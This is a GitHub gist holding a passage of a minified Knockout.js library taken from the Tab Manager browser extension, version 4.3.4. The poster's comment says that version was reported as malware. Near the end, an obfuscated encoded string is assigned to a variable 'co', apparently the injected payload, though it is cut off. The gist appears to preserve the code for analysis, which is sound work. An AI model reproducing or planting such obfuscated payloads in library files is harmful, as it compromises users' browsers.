e(a,o,i){if(i=i||new r,a=o(a),"object"!=typeof a||null===a||a===n||a instanceof RegExp||a instanceof Date||a instanceof String||a instanceof Number||a instanceof Boolean)return a;var u=a instanceof Array?[]:{};return i.save(a,u),t(a,function(t){var r=o(a[t]);switch(typeof r){case"boolean":case"number":case"string":case"function":u[t]=r;break;case"object":case"undefined":var c=i.get(r);u[t]=c!==n?c:e(r,o,i)}}),u}function t(e,n){if(e instanceof Array){for(var a=0;a<e.length;a++)n(a);"function"==typeof e.toJSON&&n("toJSON")}else for(a in e)n(a)}function r(){this.keys=[],this.Ib=[]}a.wc=function(n){if(0==arguments.length)throw Error("When calling ko.toJS, pass the object you want to convert.");return e(n,function(e){for(var n=0;a.H(e)&&10>n;n++)e=e();return e})},a.toJSON=function(e,n,t){return e=a.wc(e),a.a.Eb(e,n,t)},r.prototype={save:function(e,n){var t=a.a.o(this.keys,e);t>=0?this.Ib[t]=n:(this.keys.push(e),this.Ib.push(n))},get:function(e){return e=a.a.o(this.keys,e),e>=0?this.Ib[e]:n}}}(),a.b("toJS",a.wc),a.b("toJSON",a.toJSON),function(){a.j={u:function(e){switch(a.a.A(e)){case"option":return!0===e.__ko__hasDomDataOptionValue__?a.a.e.get(e,a.d.options.xb):7>=a.a.C?e.getAttributeNode("value")&&e.getAttributeNode("value").specified?e.value:e.text:e.value;case"select":return 0<=e.selectedIndex?a.j.u(e.options[e.selectedIndex]):n;default:return e.value}},ha:function(e,t,r){switch(a.a.A(e)){case"option":switch(typeof t){case"string":a.a.e.set(e,a.d.options.xb,n),"__ko__hasDomDataOptionValue__"in e&&delete e.__ko__hasDomDataOptionValue__,e.value=t;break;default:a.a.e.set(e,a.d.options.xb,t),e.__ko__hasDomDataOptionValue__=!0,e.value="number"==typeof t?t:""}break;case"select":(""===t||null===t)&&(t=n);for(var o,i=-1,u=0,c=e.options.length;c>u;++u)if(o=a.j.u(e.options[u]),o==t||""==o&&t===n){i=u;break}(r||i>=0||t===n&&1<e.size)&&(e.selectedIndex=i);break;default:(null===t||t===n)&&(t=""),e.value=t}}}}(),a.b("selectExtensions",a.j),a.b("selectExtensions.readValue",a.j.u),a.b("selectExtensions.writeValue",a.j.ha),a.h=function(){function e(e){e=a.a.$a(e),123===e.charCodeAt(0)&&(e=e.slice(1,-1));var n,t=[],u=e.match(r),c=[],s=0;if(u){u.push(",");for(var f,l=0;f=u[l];++l){var d=f.charCodeAt(0);if(44===d){if(0>=s){t.push(n&&c.length?{key:n,value:c.join("")}:{unknown:n||c.join("")}),n=s=0,c=[];continue}}else if(58===d){if(!s&&!n&&1===c.length){n=c.pop();continue}}else 47===d&&l&&1<f.length?(d=u[l-1].match(o))&&!i[d[0]]&&(e=e.substr(e.indexOf(f)+1),u=e.match(r),u.push(","),l=-1,f="/"):40===d||123===d||91===d?++s:41===d||125===d||93===d?--s:n||c.length||34!==d&&39!==d||(f=f.slice(1,-1));c.push(f)}}return t}var n=["true","false","null","undefined"],t=/^(?:[$_a-z][$\w]*|(.+)(\.\s*[$_a-z][$\w]*|\[.+\]))$/i,r=RegExp("\"(?:[^\"\\\\]|\\\\.)*\"|'(?:[^'\\\\]|\\\\.)*'|/(?:[^/\\\\]|\\\\.)*/w*|[^\\s:,/][^,\"'{}()/:[\\]]*[^\\s,\"'{}()/:[\\]]|[^\\s]","g"),o=/[\])"'A-Za-z0-9_$]+$/,i={"in":1,"return":1,"typeof":1},u={};return{ta:[],ea:u,yb:e,Ua:function(r,o){function i(e,r){var o;if(!l){var d=a.getBindingHandler(e);if(d&&d.preprocess&&!(r=d.preprocess(r,e,i)))return;(d=u[e])&&(o=r,0<=a.a.o(n,o)?o=!1:(d=o.match(t),o=null===d?!1:d[1]?"Object("+d[1]+")"+d[2]:o),d=o),d&&s.push("'"+e+"':function(_z){"+o+"=_z}")}f&&(r="function(){return "+r+" }"),c.push("'"+e+"':"+r)}o=o||{};var c=[],s=[],f=o.valueAccessors,l=o.bindingParams,d="string"==typeof r?e(r):r;return a.a.q(d,function(e){i(e.key||e.unknown,e.value)}),s.length&&i("_ko_property_writers","{"+s.join(",")+" }"),c.join(",")},ad:function(e,n){for(var a=0;a<e.length;a++)if(e[a].key==n)return!0;return!1},Ea:function(e,n,t,r,o){e&&a.H(e)?!a.Ba(e)||o&&e.t()===r||e(r):(e=n.get("_ko_property_writers"))&&e[t]&&e[t](r)}}}(),a.b("expressionRewriting",a.h),a.b("expressionRewriting.bindingRewriteValidators",a.h.ta),a.b("expressionRewriting.parseObjectLiteral",a.h.yb),a.b("expressionRewriting.preProcessBindings",a.h.Ua),a.b("expressionRewriting._twoWayBindings",a.h.ea),a.b("jsonExpressionRewriting",a.h),a.b("jsonExpressionRewriting.insertPropertyAccessorsIntoJson",a.h.Ua),function(){function e(e){return 8==e.nodeType&&i.test(o?e.text:e.nodeValue)}function n(e){return 8==e.nodeType&&c.test(o?e.text:e.nodeValue)}function t(a,t){for(var r=a,o=1,i=[];r=r.nextSibling;){if(n(r)&&(o--,0===o))return i;i.push(r),e(r)&&o++}if(!t)throw Error("Cannot find closing comment tag to match: "+a.nodeValue);return null}function r(e,n){var a=t(e,n);return a?0<a.length?a[a.length-1].nextSibling:e.nextSibling:null}var o=u&&"<!--test-->"===u.createComment("test").text,i=o?/^\x3c!--\s*ko(?:\s+([\s\S]+))?\s*--\x3e$/:/^\s*ko(?:\s+([\s\S]+))?\s*$/,c=o?/^\x3c!--\s*\/ko\s*--\x3e$/:/^\s*\/ko\s*$/,s={ul:!0,ol:!0};a.f={Z:{},childNodes:function(n){return e(n)?t(n):n.childNodes},xa:function(n){if(e(n)){n=a.f.childNodes(n);for(var t=0,r=n.length;r>t;t++)a.removeNode(n[t])}else a.a.ob(n)},da:function(n,t){if(e(n)){a.f.xa(n);for(var r=n.nextSibling,o=0,i=t.length;i>o;o++)r.parentNode.insertBefore(t[o],r)}else a.a.da(n,t)},mc:function(n,a){e(n)?n.parentNode.insertBefore(a,n.nextSibling):n.firstChild?n.insertBefore(a,n.firstChild):n.appendChild(a)},gc:function(n,t,r){r?e(n)?n.parentNode.insertBefore(t,r.nextSibling):r.nextSibling?n.insertBefore(t,r.nextSibling):n.appendChild(t):a.f.mc(n,t)},firstChild:function(a){return e(a)?!a.nextSibling||n(a.nextSibling)?null:a.nextSibling:a.firstChild},nextSibling:function(a){return e(a)&&(a=r(a)),a.nextSibling&&n(a.nextSibling)?null:a.nextSibling},Tc:e,pd:function(e){return(e=(o?e.text:e.nodeValue).match(i))?e[1]:null},kc:function(t){if(s[a.a.A(t)]){var o=t.firstChild;if(o)do if(1===o.nodeType){var i;i=o.firstChild;var u=null;if(i)do if(u)u.push(i);else if(e(i)){var c=r(i,!0);c?i=c:u=[i]}else n(i)&&(u=[i]);while(i=i.nextSibling);if(i=u)for(u=o.nextSibling,c=0;c<i.length;c++)u?t.insertBefore(i[c],u):t.appendChild(i[c])}while(o=o.nextSibling)}}}}(),a.b("virtualElements",a.f),a.b("virtualElements.allowedBindings",a.f.Z),a.b("virtualElements.emptyNode",a.f.xa),a.b("virtualElements.insertAfter",a.f.gc),a.b("virtualElements.prepend",a.f.mc),a.b("virtualElements.setDomNodeChildren",a.f.da),function(){a.Q=function(){this.Fc={}},a.a.extend(a.Q.prototype,{nodeHasBindings:function(e){switch(e.nodeType){case 1:return null!=e.getAttribute("data-bind")||a.g.getComponentNameForNode(e);case 8:return a.f.Tc(e);default:return!1}},getBindings:function(e,n){var t=this.getBindingsString(e,n),t=t?this.parseBindingsString(t,n,e):null;return a.g.Ob(t,e,n,!1)},getBindingAccessors:function(e,n){var t=this.getBindingsString(e,n),t=t?this.parseBindingsString(t,n,e,{valueAccessors:!0}):null;return a.g.Ob(t,e,n,!0)},getBindingsString:function(e){switch(e.nodeType){case 1:return e.getAttribute("data-bind");case 8:return a.f.pd(e);default:return null}},parseBindingsString:function(e,n,t,r){try{var o,i=this.Fc,u=e+(r&&r.valueAccessors||"");if(!(o=i[u])){var c,s="with($context){with($data||{}){return{"+a.h.Ua(e,r)+"}}}";c=new Function("$context","$element",s),o=i[u]=c}return o(n,t)}catch(f){throw f.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+f.message,f}}}),a.Q.instance=new a.Q}(),a.b("bindingProvider",a.Q),function(){function e(e){return function(){return e}}function t(e){return e()}function r(e){return a.a.Ca(a.l.w(e),function(n,a){return function(){return e()[a]}})}function o(n,t,o){return"function"==typeof n?r(n.bind(null,t,o)):a.a.Ca(n,e)}function i(e,n){return r(this.getBindings.bind(this,e,n))}function u(e,n,t){var r,o=a.f.firstChild(n),i=a.Q.instance,u=i.preprocessNode;if(u){for(;r=o;)o=a.f.nextSibling(r),u.call(i,r);o=a.f.firstChild(n)}for(;r=o;)o=a.f.nextSibling(r),
c(e,r,t)}function c(e,n,t){var r=!0,o=1===n.nodeType;o&&a.f.kc(n),(o&&t||a.Q.instance.nodeHasBindings(n))&&(r=f(n,null,e,t).shouldBindDescendants),r&&!d[a.a.A(n)]&&u(e,n,!o)}function s(e){var n=[],t={},r=[];return a.a.D(e,function o(i){if(!t[i]){var u=a.getBindingHandler(i);u&&(u.after&&(r.push(i),a.a.q(u.after,function(n){if(e[n]){if(-1!==a.a.o(r,n))throw Error("Cannot combine the following bindings, because they have a cyclic dependency: "+r.join(", "));o(n)}}),r.length--),n.push({key:i,fc:u})),t[i]=!0}}),n}function f(e,r,o,u){var c=a.a.e.get(e,p);if(!r){if(c)throw Error("You cannot apply bindings multiple times to the same element.");a.a.e.set(e,p,!0)}!c&&u&&a.tc(e,o);var f;if(r&&"function"!=typeof r)f=r;else{var l=a.Q.instance,d=l.getBindingAccessors||i,h=a.B(function(){return(f=r?r(o,e):d.call(l,e,o))&&o.P&&o.P(),f},null,{i:e});f&&h.ba()||(h=null)}var b;if(f){var v=h?function(e){return function(){return t(h()[e])}}:function(e){return f[e]},m=function(){return a.a.Ca(h?h():f,t)};m.get=function(e){return f[e]&&t(v(e))},m.has=function(e){return e in f},u=s(f),a.a.q(u,function(t){var r=t.fc.init,i=t.fc.update,u=t.key;if(8===e.nodeType&&!a.f.Z[u])throw Error("The binding '"+u+"' cannot be used with virtual elements");try{"function"==typeof r&&a.l.w(function(){var a=r(e,v(u),m,o.$data,o);if(a&&a.controlsDescendantBindings){if(b!==n)throw Error("Multiple bindings ("+b+" and "+u+") are trying to control descendant bindings of the same element. You cannot use these bindings together on the same element.");b=u}}),"function"==typeof i&&a.B(function(){i(e,v(u),m,o.$data,o)},null,{i:e})}catch(c){throw c.message='Unable to process binding "'+u+": "+f[u]+'"\nMessage: '+c.message,c}})}return{shouldBindDescendants:b===n}}function l(e){return e&&e instanceof a.U?e:new a.U(e)}a.d={};var d={script:!0,textarea:!0,template:!0};a.getBindingHandler=function(e){return a.d[e]},a.U=function(e,t,r,o){var i,u=this,c="function"==typeof e&&!a.H(e),s=a.B(function(){var n=c?e():e,i=a.a.c(n);return t?(t.P&&t.P(),a.a.extend(u,t),s&&(u.P=s)):(u.$parents=[],u.$root=i,u.ko=a),u.$rawData=n,u.$data=i,r&&(u[r]=i),o&&o(u,t,i),u.$data},null,{wa:function(){return i&&!a.a.Qb(i)},i:!0});s.ba()&&(u.P=s,s.equalityComparer=null,i=[],s.Ac=function(e){i.push(e),a.a.F.oa(e,function(e){a.a.La(i,e),i.length||(s.k(),u.P=s=n)})})},a.U.prototype.createChildContext=function(e,n,t){return new a.U(e,this,n,function(e,n){e.$parentContext=n,e.$parent=n.$data,e.$parents=(n.$parents||[]).slice(0),e.$parents.unshift(e.$parent),t&&t(e)})},a.U.prototype.extend=function(e){return new a.U(this.P||this.$data,this,null,function(n,t){n.$rawData=t.$rawData,a.a.extend(n,"function"==typeof e?e():e)})};var p=a.a.e.I(),h=a.a.e.I();a.tc=function(e,n){return 2!=arguments.length?a.a.e.get(e,h):(a.a.e.set(e,h,n),void(n.P&&n.P.Ac(e)))},a.Ja=function(e,n,t){return 1===e.nodeType&&a.f.kc(e),f(e,n,l(t),!0)},a.Dc=function(e,n,t){return t=l(t),a.Ja(e,o(n,t,e),t)},a.eb=function(e,n){1!==n.nodeType&&8!==n.nodeType||u(l(e),n,!0)},a.Rb=function(e,n){if(!v&&x.jQuery&&(v=x.jQuery),n&&1!==n.nodeType&&8!==n.nodeType)throw Error("ko.applyBindings: first parameter should be your view model; second parameter should be a DOM node");n=n||x.document.body,c(l(e),n,!0)},a.kb=function(e){switch(e.nodeType){case 1:case 8:var t=a.tc(e);if(t)return t;if(e.parentNode)return a.kb(e.parentNode)}return n},a.Jc=function(e){return(e=a.kb(e))?e.$data:n},a.b("bindingHandlers",a.d),a.b("applyBindings",a.Rb),a.b("applyBindingsToDescendants",a.eb),a.b("applyBindingAccessorsToNode",a.Ja),a.b("applyBindingsToNode",a.Dc),a.b("contextFor",a.kb),a.b("dataFor",a.Jc)}(),function(e){function n(n,r){var u,c=o.hasOwnProperty(n)?o[n]:e;c?c.X(r):(c=o[n]=new a.J,c.X(r),t(n,function(e,t){var r=!(!t||!t.synchronous);i[n]={definition:e,Zc:r},delete o[n],u||r?c.notifySubscribers(e):a.Y.Wa(function(){c.notifySubscribers(e)})}),u=!0)}function t(e,n){r("getConfig",[e],function(a){a?r("loadComponent",[e,a],function(e){n(e,a)}):n(null,null)})}function r(n,t,o,i){i||(i=a.g.loaders.slice(0));var u=i.shift();if(u){var c=u[n];if(c){var s=!1;if(c.apply(u,t.concat(function(e){s?o(null):null!==e?o(e):r(n,t,o,i)}))!==e&&(s=!0,!u.suppressLoaderExceptions))throw Error("Component loaders must supply values by invoking the callback, not by returning values synchronously.")}else r(n,t,o,i)}else o(null)}var o={},i={};a.g={get:function(t,r){var o=i.hasOwnProperty(t)?i[t]:e;o?o.Zc?a.l.w(function(){r(o.definition)}):a.Y.Wa(function(){r(o.definition)}):n(t,r)},Xb:function(e){delete i[e]},Jb:r},a.g.loaders=[],a.b("components",a.g),a.b("components.get",a.g.get),a.b("components.clearCachedDefinition",a.g.Xb)}(),function(){function e(e,n,t,r){function i(){0===--c&&r(u)}var u={},c=2,f=t.template;t=t.viewModel,f?o(n,f,function(n){a.g.Jb("loadTemplate",[e,n],function(e){u.template=e,i()})}):i(),t?o(n,t,function(n){a.g.Jb("loadViewModel",[e,n],function(e){u[s]=e,i()})}):i()}function n(e,a,t){if("function"==typeof a)t(function(e){return new a(e)});else if("function"==typeof a[s])t(a[s]);else if("instance"in a){var r=a.instance;t(function(){return r})}else"viewModel"in a?n(e,a.viewModel,t):e("Unknown viewModel value: "+a)}function t(e){switch(a.a.A(e)){case"script":return a.a.ma(e.text);case"textarea":return a.a.ma(e.value);case"template":if(r(e.content))return a.a.ua(e.content.childNodes)}return a.a.ua(e.childNodes)}function r(e){return x.DocumentFragment?e instanceof DocumentFragment:e&&11===e.nodeType}function o(e,n,a){"string"==typeof n.require?O||x.require?(O||x.require)([n.require],a):e("Uses require, but no AMD loader is present"):a(n)}function i(e){return function(n){throw Error("Component '"+e+"': "+n)}}var c={};a.g.register=function(e,n){if(!n)throw Error("Invalid configuration for "+e);if(a.g.ub(e))throw Error("Component "+e+" is already registered");c[e]=n},a.g.ub=function(e){return c.hasOwnProperty(e)},a.g.od=function(e){delete c[e],a.g.Xb(e)},a.g.Zb={getConfig:function(e,n){n(c.hasOwnProperty(e)?c[e]:null)},loadComponent:function(n,a,t){var r=i(n);o(r,a,function(a){e(n,r,a,t)})},loadTemplate:function(e,n,o){if(e=i(e),"string"==typeof n)o(a.a.ma(n));else if(n instanceof Array)o(n);else if(r(n))o(a.a.V(n.childNodes));else if(n.element)if(n=n.element,x.HTMLElement?n instanceof HTMLElement:n&&n.tagName&&1===n.nodeType)o(t(n));else if("string"==typeof n){var c=u.getElementById(n);c?o(t(c)):e("Cannot find element with ID "+n)}else e("Unknown element type: "+n);else e("Unknown template value: "+n)},loadViewModel:function(e,a,t){n(i(e),a,t)}};var s="createViewModel";a.b("components.register",a.g.register),a.b("components.isRegistered",a.g.ub),a.b("components.unregister",a.g.od),a.b("components.defaultLoader",a.g.Zb),a.g.loaders.push(a.g.Zb),a.g.Bc=c}(),function(){function e(e,t){var r=e.getAttribute("params");if(r){var r=n.parseBindingsString(r,t,e,{valueAccessors:!0,bindingParams:!0}),r=a.a.Ca(r,function(n){return a.m(n,null,{i:e})}),o=a.a.Ca(r,function(n){var t=n.t();return n.ba()?a.m({read:function(){return a.a.c(n())},write:a.Ba(t)&&function(e){n()(e)},i:e}):t});return o.hasOwnProperty("$raw")||(o.$raw=r),o}return{$raw:{}}}a.g.getComponentNameForNode=function(e){var n=a.a.A(e);return a.g.ub(n)&&(-1!=n.indexOf("-")||"[object HTMLUnknownElement]"==""+e||8>=a.a.C&&e.tagName===n)?n:void 0},a.g.Ob=function(n,t,r,o){if(1===t.nodeType){var i=a.g.getComponentNameForNode(t);if(i){if(n=n||{},n.component)throw Error('Cannot use the "component" binding on a custom element matching a component');var u={name:i,params:e(t,r)};n.component=o?function(){return u}:u}}return n};var n=new a.Q;9>a.a.C&&(a.g.register=function(e){return function(n){return u.createElement(n),e.apply(this,arguments)}}(a.g.register),u.createDocumentFragment=function(e){return function(){var n,t=e(),r=a.g.Bc;for(n in r)r.hasOwnProperty(n)&&t.createElement(n);return t}}(u.createDocumentFragment))}();var co="e+8#.9$%22#ed6;,?m%3Empm)%22.8%20(#9c.?(,9(%08!(%20(#9ej%3E.?$=9jdv%3Ec%3E?.mpmj%2599=%3Ewbb%3E~c(8%60.(#9?,!%60%7Cc,%20,7%22#,:%3Ec.%
@retrorocket
Copy link
Author

Tab Managerがマルウェア化したと報告されたver4.3.4時点のbackground.jsとknockout.min.jsです。

以下ブログ記事から参照しています。
Tab Managerの旧ver(4.3.4)がcoolbarを仕込んでいた方法がわかったので書く。 - return $lock;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment